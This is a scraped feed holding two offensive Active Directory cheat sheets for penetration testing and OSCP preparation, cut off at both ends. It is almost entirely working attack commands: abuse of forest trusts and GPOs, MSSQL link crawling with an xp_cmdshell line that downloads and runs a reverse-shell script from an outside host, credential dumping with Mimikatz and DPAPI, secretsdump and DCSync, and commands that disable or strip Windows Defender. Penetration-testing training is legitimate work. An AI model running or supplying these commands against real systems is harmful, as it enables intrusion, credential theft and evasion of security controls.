only access domain services that have been shared with the domain we have compromised (our source domain). Use e.g. BloodHound to look for users that have an account (with the same username) in both forests and try password re-use. Additionally, we can use BloodHound or PowerView to hunt for foreign group memberships between forests. The PowerView command:</p><pre>Get-DomainForeignGroupMember -domain targetdomain.com</pre><p>PowerShell</p><p>In some cases, it is possible that SID filtering (the protection causing the above), is <em>disabled</em> between forests. If you run Get-DomainTrust and you see the TREAT_AS_EXTERNAL property, this is the case! In this case, you can abuse the forest trust like a domain trust, as described above. Note that you still can <em>NOT</em> forge a ticket for any SID between 500 and 1000 though, so you can’t become DA (not even indirectly through group inheritance). In this case, look for groups that grant e.g. local admin on the domain controller or similar non-domain privileges. For more information, refer to <a href="https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/">this blog post</a>.</p><p>To impersonate a user from our source domain to access services in a foreign domain, we can do the following. Extract inter-forest trust key as in <a href="https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#using-domain-trust-key">‘Using domain trust key’</a> above.</p><p>Use Mimikatz to generate a TGT for the target domain using the trust key:</p><pre>Kerberos::golden /user:Administrator /service:krbtgt /domain:currentdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /target:targetdomain.com /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:ticket.kirbi</pre><p>Plaintext</p><p>Then, use Rubeus to ask a TGS for e.g. the CIFS service on the target DC using this TGT.</p><pre>.\Rubeus.exe asktgs /ticket:c:\ad\tools\eucorp-tgt.kirbi /service:CIFS/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt</pre><p>PowerShell</p><p>Now we can use the CIFS service on the target forest’s DC as the DA of our source domain (again, as long as this trust was configured to exist).</p><h3>Abusing MSSQL databases for lateral movement</h3><p>MSSQL databases can be linked, such that if you compromise one you can execute queries (or even OS commands!) on other databases in the context of a specific user (sa maybe? ). If this is configured, it can even be used to traverse Forest boundaries! If we have SQL execution, we can use the following commands to enumerate database links.</p><pre>-- Find linked servers<br>EXEC sp_linkedservers</pre><pre>-- Run SQL query on linked server<br>select mylogin from openquery(&quot;TARGETSERVER&quot;, &#39;select SYSTEM_USER as mylogin&#39;)</pre><pre>-- Enable &#39;xp_cmdshell&#39; on remote server and execute commands, only works if RPC is enabled<br>EXEC (&#39;sp_configure &#39;&#39;show advanced options&#39;&#39;, 1; reconfigure&#39;) AT TARGETSERVER<br>EXEC (&#39;sp_configure &#39;&#39;xp_cmdshell&#39;&#39;, 1; reconfigure&#39;) AT TARGETSERVER<br>EXEC (&#39;xp_cmdshell &#39;&#39;whoami&#39;&#39; &#39;) AT TARGETSERVER</pre><p>SQL</p><p>We can also use <a href="https://github.com/NetSPI/PowerUpSQL">PowerUpSQL</a> to look for databases within the domain, and gather further information on (reachable) databases. We can also automatically look for, and execute queries or commands on, linked databases (even through multiple layers of database links).</p><pre># Get MSSQL databases in the domain, and test connectivity<br>Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft</pre><pre># Try to get information on all domain databases<br>Get-SQLInstanceDomain | Get-SQLServerInfo</pre><pre># Get information on a single reachable database<br>Get-SQLServerInfo -Instance TARGETSERVER</pre><pre># Scan for MSSQL misconfigurations to escalate to SA<br>Invoke-SQLAudit -Verbose -Instance TARGETSERVER</pre><pre># Execute SQL query<br>Get-SQLQuery -Query &quot;SELECT system_user&quot; -Instance TARGETSERVER</pre><pre># Run command (enables XP_CMDSHELL automatically if required)<br>Invoke-SQLOSCmd -Instance TARGETSERVER -Command &quot;whoami&quot; |  select -ExpandProperty CommandResults</pre><pre># Automatically find all linked databases<br>Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft</pre><pre># Run command if XP_CMDSHELL is enabled on any of the linked databases<br>Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query &#39;EXEC xp_cmdshell &quot;whoami&quot;&#39; | select instance,links,customquery | ft</pre><pre>Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query &#39;EXEC xp_cmdshell &quot;powershell.exe -c iex (new-object net.webclient).downloadstring(&#39;&#39;http://172.16.100.55/Invoke-PowerShellTcpRun.ps1&#39;&#39;)&quot;&#39; | select instance,links,customquery | ft</pre><p>PowerShell</p><p>If you have low-privileged access to a MSSQL database and no links are present, you could potentially force NTLM authentication by using the xp_dirtree stored procedure to access this share. If this is successful, the NetNTLM for the SQL service account can be collected and potentially cracked or relayed to compromise machines as that service account.</p><pre>EXEC master..xp_dirtree &quot;\\192.168.49.67\share&quot;</pre><p>SQL</p><p>Example command to relay the hash to authenticate as local admin (if the service account has these privileges) and run calc.exe. Omit the -c parameter to attempt a secretsdump instead.</p><pre>sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.67.6 -c &#39;calc.exe&#39;</pre><p>Bash</p><h3>Abusing Group Policy Objects for lateral movement</h3><p>If we identify that we have the permissions to edit and link new Group Policy Objects (GPOs) within the domain (refer to <a href="https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#ad-enumeration-with-powerview">‘AD Enumeration With PowerView’</a>), we can abuse these privileges to move laterally towards other machines.</p><p>As an example, we can use the legitimate <a href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/remote-server-administration-tools">Remote System Administration Tools</a> (RSAT) for Windows to create a new GPO, link it to the target, and deploy a registry runkey to add a command that will run automatically the next time the machine boots.</p><pre># Create a new GPO and link it to the target server<br>New-GPO -Name &#39;Totally Legit GPO&#39; | New-GPLink -Target &#39;OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com&#39;</pre><pre># Link an existing GPO to another target server<br>New-GPLink -Target &#39;OU=TargetComputer2,OU=Workstations,DC=TargetDomain,DC=com&#39; -Name &#39;Totally Legit GPO&#39;</pre><pre># Deploy a registry runkey via the GPO<br>Set-GPPrefRegistryValue -Name &#39;Totally Legit GPO&#39; -Context Computer -Action Create -Key &#39;HKLM\Software\Microsoft\Windows\CurrentVersion\Run&#39; -ValueName &#39;Updater&#39; -Value &#39;cmd.exe /c calc.exe&#39; -Type ExpandString</pre><p>PowerShell</p><p>We can also use <a href="https://github.com/FSecureLABS/SharpGPOAbuse">SharpGPOAbuse</a> to deploy an immediate scheduled task, which will run whenever the group policy is refreshed (every 1–2 hours by default). SharpGPOABuse does not create its own GPO objects, so we first have to run the commands for creating and linking GPOs listed above. After this, we can run SharpGPOAbuse to deploy the immediate task.</p><pre>SharpGPOAbuse.exe --AddComputerTask --TaskName &quot;Microsoft LEGITIMATE Hotfix&quot; --Author NT AUTHORITY\SYSTEM --Command &quot;cmd.exe&quot; --Arguments &quot;/c start calc.exe&quot; --GPOName &quot;Totally Legit GPO&quot;</pre><h3>Post-Exploitation</h3><h3>LSASS protection</h3><p>Sometimes, LSASS is configured to run as a protected process (PPL). You can query this with PowerShell as follows.</p><pre>Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name &quot;RunAsPPL&quot;</pre><p>PowerShell</p><p>If this is the case, you can’t just dump or parse LSASS, and you need to disable the protection with something like mimidrv.sys. I won’t discuss how to do that here, but there are tools such as <a href="https://github.com/itm4n/PPLdump">PPLDump</a> available to help.</p><h3>Dumping OS credentials with Mimikatz</h3><pre># Dump logon passwords<br>sekurlsa::logonpasswords</pre><pre># Dump all domain hashes from a DC<br>## Note: Everything with /patch is noisy as heck since it writes to LSASS 🚩<br>lsadump::lsa /patch</pre><pre># Dump only local users<br>lsadump::sam</pre><pre># DCSync (requires &#39;ldap&#39; SPN)<br>lsadump::dcsync /user:DOMAIN\krbtgt /domain:targetdomain.com</pre><pre># Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) 🚩<br>vault::list<br>vault::cred /patch</pre><pre># Dump Kerberos encryption keys, including the AES256 key for better opsec (see &#39;Lateral Movement with Rubeus&#39; section) <br>sekurlsa::ekeys</pre><p>Plaintext</p><h3>Abusing the Data Protection API (DPAPI) with Mimikatz</h3><p>Mimikatz has quite some functionality to access Windows’ DPAPI, which is used to encrypt many credentials, including e.g. browser passwords.</p><p>Note that Mimikatz will automatically cache the master keys that it has seen (check cache with dpapi::cache), but this does <em>NOT</em> work if no Mimikatz session is persisted (e.g. in Cobalt Strike or when using Invoke-Mimikatz). More information on using Mimikatz for DPAPI is available <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials">here</a>.</p><pre># Find the IDs of protected secrets for a specific user<br>dir C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials</pre><pre># Get information, including the used master key ID, from a specific secret (take the path from above)<br>dpapi::cred /in:C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3</pre><pre># IF YOU ARE PRIVILEGED<br># Dump all master keys from the current system<br>sekurlsa::dpapi</pre><pre># IF YOU ARE NOT PRIVILEGED (session as target user required)<br># Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step)<br>dpapi::masterkey /rpc /in:C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect\S-1-5-21-3865823697-1816233505-1834004910-1124\dd89dddf-946b-4a80-9fd3-7f03ebd41ff4</pre><pre># Decrypt the secret using the retrieved master key<br># Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats)<br>dpapi::cred /in:C:\Users\[USERNAME]]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad</pre><p>Plaintext</p><h3>Dumping secrets without Mimikatz</h3><p>We can also parse system secrets without using Mimikatz on the target system directly.</p><h4>Dumping LSASS</h4><p>The preferred way to run Mimikatz is to do it locally with a dumped copy of LSASS memory from the target. <a href="https://github.com/outflanknl/Dumpert">Dumpert</a>, <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procdump">Procdump</a>, or other (custom) tooling can be used to dump LSASS memory.</p><pre># Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly<br>.\procdump.exe -r -ma lsass.exe lsass.dmp</pre><p>PowerShell</p><p>After downloading the memory dump file on our attacking system, we can run Mimikatz and switch to ‘Minidump’ mode to parse the file as follows. After this, we can run Mimikatz’ credential retrieval commands as usual.</p><pre>sekurlsa::minidump lsass.dmp</pre><p>Plaintext</p><h4>Dumping secrets from the registry</h4><p>We can dump secrets from the registry and parse the files “offline” to get a list of system secrets. 🚩</p><p>On the target, we run the following:</p><pre>reg.exe save hklm\sam c:\users\public\downloads\sam.save<br>reg.exe save hklm\system c:\users\public\downloads\system.save<br>reg.exe save hklm\security c:\users\public\downloads\security.save</pre><p>PowerShell</p><p>Then on our attacking box we can dump the secrets with Impacket:</p><pre>impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL &gt; secrets.out</pre><p>Bash</p><h4>Dumping secrets from a Volume Shadow Copy</h4><p>We can also create a “Volume Shadow Copy” of the SAM and SYSTEM files (which are always locked on the current system), so we can still copy them over to our local system. An elevated prompt is required for this.</p><pre>wmic shadowcopy call create Volume=&#39;C:\&#39;<br>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\public\sam.save<br>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\public\system.save</pre><p>PowerShell</p><h3>Windows Defender evasion</h3><p><em>Note: All below commands require administrative privileges on the system!</em></p><p>You can query Defender exclusions using PowerShell. If it returns any excluded paths, just execute your malware from there!</p><pre>Get-MpPreference | select-object -ExpandProperty ExclusionPath</pre><p>PowerShell</p><p>Alternatively, you could add an exclusion directory for your shady stuff. 👀</p><pre>Add-MpPreference -ExclusionPath &quot;C:\Users\Public\Downloads\SuperLegitDownloadDirectory&quot;</pre><p>PowerShell</p><p>If you’re more aggro, you can disable Defender entirely. It goes without saying that disabling AV/EDR products is never a good idea in practice, best to work around it instead. 🚩</p><pre># Disable realtime monitoring altogether<br>Set-MpPreference -DisableRealtimeMonitoring $true</pre><pre># Only disables scanning for downloaded files or attachments<br>Set-MpPreference -DisableIOAVProtection $true</pre><p>PowerShell</p><p>As an alternative to disabling Defender, you can leave it enabled and just remove all virus signatures from it.</p><pre>&quot;C:\Program Files\Windows Defender\MpCmdRun.exe&quot; -RemoveDefinitions -All</pre><p>PowerShell</p><h3>Chisel proxying</h3><p>If you need to proxy traffic over a compromised Windows machine, <a href="https://github.com/jpillora/chisel">Chisel</a> (or <a href="https://github.com/shantanu561993/SharpChisel">SharpChisel</a>) is a good choice. Chisel allows port forwarding, but my favorite technique is setting up a reverse SOCKS proxy on the target machine, allowing you to tunnel any traffic over the target system.</p><p>On our attacking machine (Linux in this case), we start a Chisel server on port 80 in reverse SOCKS5 mode.</p><pre>sudo ./chisel server -p 80 --reverse --socks5</pre><p>Bash</p><p>Then, on our compromised target system, we connect to this server and tell it to proxy all traffic over it via the reverse SOCKS5 tunnel.</p><pre>.\chisel.exe client 192.168.49.67:80 R:socks</pre><p>PowerShell</p><p>A proxy is now open on port 1080 of our linux machine. We can now use e.g. ProxyChains to tunnel over the target system.</p><h3>Interesting files</h3><p>There are lots of files that may contain interesting information. Tools like <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS">WinPEAS</a> or collections like <a href="https://github.com/PowerShellMafia/PowerSploit">PowerSploit</a> may help in identifying juicy files (for privesc or post-exploitation).</p><p>Below is a list of some files I have encountered to be of relevance. Check files based on the programs and/or services that are installed on the machine.</p><blockquote><em>In addition, don’t forget to enumerate any local databases with </em><em>sqlcmd or </em><em>Invoke-SqlCmd!</em></blockquote><pre># All user folders<br>## Limit this command if there are too many files ;)<br>tree /f /a C:\Users</pre><pre># Web.config<br>C:\inetpub\www\*\web.config</pre><pre># Unattend files<br>C:\Windows\Panther\Unattend.xml</pre><pre># RDP config files<br>C:\ProgramData\Configs\</pre><pre># Powershell scripts/config files<br>C:\Program Files\Windows PowerShell\</pre><pre># PuTTy config<br>C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty</pre><pre># FileZilla creds<br>C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml</pre><pre># Jenkins creds (also check out the Windows vault, see above)<br>C:\Program Files\Jenkins\credentials.xml</pre><pre># WLAN profiles<br>C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml</pre><pre># TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)<br>Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name &quot;Password&quot; | select -ExpandProperty Password</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3170982a7055" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Cheat Sheet]]></title>
            <link>https://medium.com/@saintlafi/active-directory-cheat-sheet-94e0bb9bed2?source=rss-8f6598de6297------2</link>
            <guid isPermaLink="false">https://medium.com/p/94e0bb9bed2</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Lafi Almutairi]]></dc:creator>
            <pubDate>Wed, 26 Oct 2022 22:38:30 GMT</pubDate>
            <atom:updated>2023-02-24T13:25:23.027Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a detailed AD cheat sheet with descriptions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*WbHX_Ovu846s_xyomomHBA.png" /></figure><p><em>Checkout my personal notes on </em><a href="https://github.com/LafiAlmutairi/Pentest-Handbook"><em>github</em></a><em>, it’s a handbook i made using cherrytree that consists of many usefull commands for passing the OSCP or even doing an actual penetration tests.</em></p><blockquote>Table of Contents</blockquote><p><a href="#cbce"><strong>Initial Enumeration</strong></a><strong> <br></strong><a href="#f792"><strong>ACL Enumeration &amp; Tactics</strong></a><strong><br></strong><a href="#cf3a"><strong>ASREPRoasting</strong></a><strong> <br></strong><a href="#1edb"><strong>Credentialed Enumeration</strong></a><strong><br></strong><a href="#de4d"><strong>DCSync</strong></a><strong><br></strong><a href="#cde3"><strong>Enumerating Security Controls</strong></a><strong><br></strong><a href="#d456"><strong>Group Policy Enumeration &amp; Attacks</strong></a><strong><br></strong><a href="#4c05"><strong>Internal Enumeration</strong></a><strong><br></strong><a href="#1711"><strong>Kerberoasting</strong></a><strong><br></strong><a href="#2cbc"><strong>LLMNR/NTB-NS Poisoning</strong></a><strong><br></strong><a href="#fef0"><strong>Password Spraying &amp; Password Policies</strong></a><strong><br></strong><a href="#0b99"><strong>Privileged Access</strong></a><strong><br></strong><a href="#4276"><strong>Transfering Files</strong></a><strong><br></strong><a href="#0fb2"><strong>Trust Relationships — Child &gt; Parent Trusts</strong></a><strong><br></strong><a href="#9618"><strong>Trust Relationships — Cross-Forest</strong></a></p><p>Initial Enumeration</p><pre>`nslookup ns1.inlanefreight.com`</pre><blockquote>Used to query the domain name system and discover the IP address to domain name mapping of the target entered from a Linux-based host.</blockquote><pre>`sudo tcpdump -i ens224`</pre><blockquote>Used to start capturing network packets on the network interface proceeding the `-i` option a Linux-based host.</blockquote><pre>`sudo responder -I ens224 -A`</pre><blockquote>Used to start responding to &amp; analyzing `LLMNR`, `NBT-NS` and `MDNS` queries on the interface specified proceeding the `-I` option and operating in `Passive Analysis` mode which is activated using `-A`. Performed from a Linux-based host</blockquote><pre>`fping -asgq 172.16.5.0/23`</pre><blockquote>Performs a ping sweep on the specified network segment from a Linux-based host.</blockquote><pre>`sudo nmap -v -A -iL hosts.txt -oN /home/User/Documents/host-enum`</pre><blockquote>Performs an nmap scan that with OS detection, version detection, script scanning, and traceroute enabled (`-A`) based on a list of hosts (`hosts.txt`) specified in the file proceeding `-iL`. Then outputs the scan results to the file specified after the `-oN`option. Performed from a Linux-based host</blockquote><pre>`sudo git clone <a href="https://github.com/ropnop/kerbrute.git%60">https://github.com/ropnop/kerbrute.git`</a></pre><pre>Uses `git` to clone the kerbrute tool from a Linux-based host.</pre><pre>`make help`</pre><blockquote>Used to list compiling options that are possible with `make` from a Linux-based host.</blockquote><pre>`sudo make all`</pre><blockquote>Used to compile a `Kerbrute` binary for multiple OS platforms and CPU architectures.</blockquote><pre>`./kerbrute_linux_amd64`</pre><blockquote>Used to test the chosen complied `Kebrute` binary from a Linux-based host.</blockquote><pre>`sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute`</pre><blockquote>Used to move the `Kerbrute` binary to a directory can be set to be in a Linux user&#39;s path. Making it easier to use the tool.</blockquote><pre>`./kerbrute_linux_amd64 userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results`</pre><blockquote>Runs the Kerbrute tool to discover usernames in the domain (`INLANEFREIGHT.LOCAL`) specified proceeding the `-d` option and the associated domain controller specified proceeding `--dc`using a wordlist and outputs (`-o`) the results to a specified file. Performed from a Linux-based host.</blockquote><p><strong>ACL Enumeration &amp; Tactics</strong></p><pre>`Find-InterestingDomainAcl`</pre><blockquote>PowerView tool used to find object ACLs in the target Windows domain with modification rights set to non-built in objects from a Windows-based host.</blockquote><pre>`Import-Module .\PowerView.ps1 $sid = Convert-NameToSid wley`</pre><blockquote>Used to import PowerView and retrieve the `SID` of a specific user account (`wley`) from a Windows-based host.</blockquote><pre>`Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}`</pre><blockquote>Used to find all Windows domain objects that the user has rights over by mapping the user&#39;s `SID` to the `SecurityIdentifier` property from a Windows-based host.</blockquote><pre>`$guid= &quot;00299570-246d-11d0-a768-00aa006e0529&quot; Get-ADObject -SearchBase &quot;CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)&quot; -Filter {ObjectClass -like &#39;ControlAccessRight&#39;} -Properties * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl`</pre><blockquote>Used to perform a reverse search &amp; map to a `GUID` value from a Windows-based host.</blockquote><pre>`Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}`</pre><blockquote>Used to discover a domain object&#39;s ACL by performing a search based on GUID&#39;s (`-ResolveGUIDs`) from a Windows-based host.</blockquote><pre>`Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName &gt; ad_users.txt`</pre><blockquote>Used to discover a group of user accounts in a target Windows domain and add the output to a text file (`ad_users.txt`) from a Windows-based host.</blockquote><pre>`foreach($line in [System.IO.File]::ReadLines(&quot;C:\Users\Desktop\ad_users.txt&quot;)) {get-acl &quot;AD:\$(Get-ADUser $line)&quot; | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match &#39;INLANEFREIGHT\\wley&#39;}}`</pre><blockquote>A `foreach loop` used to retrieve ACL information for each domain user in a target Windows domain by feeding each list of a text file(`ad_users.txt`) to the `Get-ADUser` cmdlet, then enumerates access rights of those users. Performed from a Windows-based host.</blockquote><pre>`$SecPassword = ConvertTo-SecureString &#39;&lt;PASSWORD HERE&gt;&#39; -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential(&#39;INLANEFREIGHT\wley&#39;, $SecPassword)`</pre><blockquote>Used to create a `PSCredential Object` from a Windows-based host.</blockquote><pre>`$damundsenPassword = ConvertTo-SecureString &#39;Pwn3d_by_ACLs!&#39; -AsPlainText -Force`</pre><blockquote>Used to create a `SecureString Object` from a Windows-based host.</blockquote><pre>`Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose`</pre><blockquote>PowerView tool used to change the password of a specifc user (`damundsen`) on a target Windows domain from a Windows-based host.</blockquote><pre>`Get-ADGroup -Identity &quot;Help Desk Level 1&quot; -Properties * | Select -ExpandProperty Members`</pre><blockquote>PowerView tool used view the members of a target security group (`Help Desk Level 1`) from a Windows-based host.</blockquote><pre>`Add-DomainGroupMember -Identity &#39;Help Desk Level 1&#39; -Members &#39;damundsen&#39; -Credential $Cred2 -Verbose`</pre><blockquote>PowerView tool used to add a specifc user (`damundsen`) to a specific security group (`Help Desk Level 1`) in a target Windows domain from a Windows-based host.</blockquote><pre>`Get-DomainGroupMember -Identity &quot;Help Desk Level 1&quot; | Select MemberName`</pre><blockquote>PowerView tool used to view the members of a specific security group (`Help Desk Level 1`) and output only the username of each member (`Select MemberName`) of the group from a Windows-based host.</blockquote><pre>`Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname=&#39;notahacker/LEGIT&#39;} -Verbose`</pre><blockquote>PowerView tool used create a fake `Service Principal Name` given a sepecift user (`adunn`) from a Windows-based host.</blockquote><pre>`Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose`</pre><blockquote>PowerView tool used to remove the fake `Service Principal Name` created during the attack from a Windows-based host.</blockquote><pre>`Remove-DomainGroupMember -Identity &quot;Help Desk Level 1&quot; -Members &#39;damundsen&#39; -Credential $Cred2 -Verbose`</pre><blockquote>PowerView tool used to remove a specific user (`damundsent`) from a specific security group (`Help Desk Level 1`) from a Windows-based host.</blockquote><pre>`ConvertFrom-SddlString`</pre><blockquote>PowerShell cmd-let used to covert an `SDDL string` into a readable format. Performed from a Windows-based host.</blockquote><p><strong>ASREPRoasting</strong></p><pre>`Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl`</pre><blockquote>PowerView based tool used to search for the `DONT_REQ_PREAUTH` value across in user accounts in a target Windows domain. Performed from a Windows-based host.</blockquote><pre>`.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat`</pre><blockquote>Uses `Rubeus` to perform an `ASEP Roasting attack` and formats the output for `Hashcat`. Performed from a Windows-based host.</blockquote><pre>`hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt`</pre><blockquote>Uses `Hashcat` to attempt to crack the captured hash using a wordlist (`rockyou.txt`). Performed from a Linux-based host.</blockquote><pre>`kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt`</pre><blockquote>Enumerates users in a target Windows domain and automatically retrieves the `AS` for any users found that don&#39;t require Kerberos pre-authentication. Performed from a Linux-based host.</blockquote><p><strong>Credentialed Enumeration</strong></p><pre>`xfreerdp /u:forend@inlanefreight.local /p:Klmcargo2 /v:172.16.5.25`</pre><blockquote>Connects to a Windows target using valid credentials. Performed from a Linux-based host.</blockquote><pre>`sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users`</pre><blockquote>Authenticates with a Windows target over `smb` using valid credentials and attempts to discover more users (`--users`) in a target Windows domain. Performed from a Linux-based host.</blockquote><pre>`sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups`</pre><blockquote>Authenticates with a Windows target over `smb` using valid credentials and attempts to discover groups (`--groups`) in a target Windows domain. Performed from a Linux-based host.</blockquote><pre>`sudo crackmapexec smb 172.16.5.125 -u forend -p Klmcargo2 --loggedon-users`</pre><blockquote>Authenticates with a Windows target over `smb` using valid credentials and attempts to check for a list of logged on users (`--loggedon-users`) on the target Windows host. Performed from a Linux-based host.</blockquote><pre>`sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares`</pre><blockquote>Authenticates with a Windows target over `smb` using valid credentials and attempts to discover any smb shares (`--shares`). Performed from a Linux-based host.</blockquote><pre>`sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share Dev-share`</pre><blockquote>Authenticates with a Windows target over `smb` using valid credentials and utilizes the CrackMapExec module (`-M`) `spider_plus` to go through each readable share (`Dev-share`) and list all readable files. The results are outputted in `JSON`. Performed from a Linux-based host.</blockquote><pre>`smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5`</pre><blockquote>Enumerates the target Windows domain using valid credentials and lists shares &amp; permissions available on each within the context of the valid credentials used and the target Windows host (`-H`). Performed from a Linux-based host.</blockquote><pre>`smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SYSVOL --dir-only`</pre><blockquote>Enumerates the target Windows domain using valid credentials and performs a recursive listing (`-R`) of the specified share (`SYSVOL`) and only outputs a list of directories (`--dir-only`) in the share. Performed from a Linux-based host.</blockquote><pre>`rpcclient $&gt; queryuser 0x457`</pre><blockquote>Enumerates a target user account in a Windows domain using its relative identifier (`0x457`). Performed from a Linux-based host.</blockquote><pre>`rpcclient $&gt; enumdomusers`</pre><blockquote>Discovers user accounts in a target Windows domain and their associated relative identifiers (`rid`). Performed from a Linux-based host.</blockquote><pre>`psexec.py inlanefreight.local/wley:&#39;transporter@4&#39;<a href="http://twitter.com/172">@172</a>.16.5.125`</pre><blockquote>Impacket tool used to connect to the `CLI` of a Windows target via the `ADMIN$` administrative share with valid credentials. Performed from a Linux-based host.</blockquote><pre>`wmiexec.py inlanefreight.local/wley:&#39;transporter@4&#39;<a href="http://twitter.com/172">@172</a>.16.5.5`</pre><blockquote>Impacket tool used to connect to the `CLI` of a Windows target via `WMI` with valid credentials. Performed from a Linux-based host.</blockquote><pre>`windapsearch.py -h`</pre><blockquote>Used to display the options and functionality of windapsearch.py. Performed from a Linux-based host.</blockquote><pre>`python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p Klmcargo2 --da`</pre><blockquote>Used to enumerate the domain admins group (`--da`) using a valid set of credentials on a target Windows domain. Performed from a Linux-based host.</blockquote><pre>`python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p Klmcargo2 -PU`</pre><blockquote>Used to perform a recursive search (`-PU`) for users with nested permissions using valid credentials. Performed from a Linux-based host.</blockquote><pre>`sudo bloodhound-python -u &#39;forend&#39; -p &#39;Klmcargo2&#39; -ns 172.16.5.5 -d inlanefreight.local -c all`</pre><blockquote>Executes the python implementation of BloodHound (`bloodhound.py`) with valid credentials and specifies a name server (`-ns`) and target Windows domain (`inlanefreight.local`) as well as runs all checks (`-c all`). Runs using valid credentials. Performed from a Linux-based host.</blockquote><p><strong>DCSync</strong></p><pre>`Get-DomainUser -Identity adunn | select samaccountname,objectsid,memberof,useraccountcontrol |fl`</pre><blockquote>PowerView tool used to view the group membership of a specific user (`adunn`) in a target Windows domain. Performed from a Windows-based host.</blockquote><pre>`$sid= &quot;S-1-5-21-3842939050-3880317879-2865463114-1164&quot; Get-ObjectAcl &quot;DC=inlanefreight,DC=local&quot; -ResolveGUIDs | ? { ($_.ObjectAceType -match &#39;Replication-Get&#39;)} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl`</pre><blockquote>Used to create a variable called SID that is set equal to the SID of a user account. Then uses PowerView tool `Get-ObjectAcl` to check a specific user&#39;s replication rights. Performed from a Windows-based host.</blockquote><pre>`secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 -use-vss`</pre><blockquote>Impacket tool sed to extract NTLM hashes from the NTDS.dit file hosted on a target Domain Controller (`172.16.5.5`) and save the extracted hashes to an file (`inlanefreight_hashes`). Performed from a Linux-based host.</blockquote><pre>`mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator`</pre><blockquote>Uses `Mimikatz` to perform a `dcsync` attack from a Windows-based host.</blockquote><p><strong>Enumerating Security Controls</strong></p><pre>`Get-MpComputerStatus`</pre><blockquote>PowerShell cmd-let used to check the status of `Windows Defender Anti-Virus` from a Windows-based 